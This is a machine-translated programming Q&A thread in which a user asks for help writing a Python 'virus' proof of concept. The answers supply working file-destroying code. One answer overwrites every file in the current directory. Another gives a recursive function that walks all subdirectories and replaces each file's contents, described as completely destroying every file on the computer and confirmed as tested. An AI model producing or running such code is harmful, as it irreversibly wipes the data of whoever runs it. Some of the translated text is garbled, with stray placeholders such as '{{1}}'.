我需要帮助尝试在python中列出目录,我正在尝试编写python病毒,只是概念证明,没什么特别的。
#!/usr/bin/python
import os, sys
VIRUS=''
data=str(os.listdir('.'))
data=data.translate(None, "[],\n'")
print data
f = open(data, "w")
f.write(VIRUS)
f.close()
编辑:我需要它是多行的,所以当我列出directorys时,我可以感染列出的第一个文件,然后是第二个文件,依此类推。
我不想使用ls命令,因为我希望它是多平台的。
答案 0 :(得分:1)
如果您要尝试再次解析,请不要在str
的结果上调用os.listdir
。相反,直接使用结果:
for item in os.listdir('.'):
print item # or do something else with item
答案 1 :(得分:0)
这样的事情:
import os
VIRUS = "some text"
data = os.listdir(".") #returns a list of files and directories
for x in data: #iterate over the list
if os.path.isfile(x): #if current item is a file then perform write operation
#use `with` statement for handling files, it automatically closes the file
with open(x,'w') as f:
f.write(VIRUS)
答案 2 :(得分:0)
因此,在编写这样的病毒时,您会希望它是递归的。通过这种方式,它可以进入它找到的每个目录并写入这些文件,完全破坏计算机上的每个文件。
def virus(directory=os.getcwd()):
VIRUS = "THIS FILE IS NOW INFECTED"
if directory[-1] == "/": #making sure directory can be concencated with file
pass
else:
directory = directory + "/" #making sure directory can be concencated with file
files = os.listdir(directory)
for i in files:
location = directory + i
if os.path.isfile(location):
with open(location,'w') as f:
f.write(VIRUS)
elif os.path.isdir(location):
virus(directory=location) #running function again if in a directory to go inside those files
现在这一行将把所有文件重写为变量VIRUS
中的消息:
病毒()
额外说明:
我的默认值为directory=os.getcwd()
的原因是因为您最初使用"."
,listdir
方法中的"THIS FILE IS NOW INFECTED"
将是当前工作目录文件。我需要文件目录的名称来拉取嵌套目录
这确实有效!:
我在计算机上的测试目录中运行它,每个嵌套目录中的每个文件都将其内容替换为:{{1}}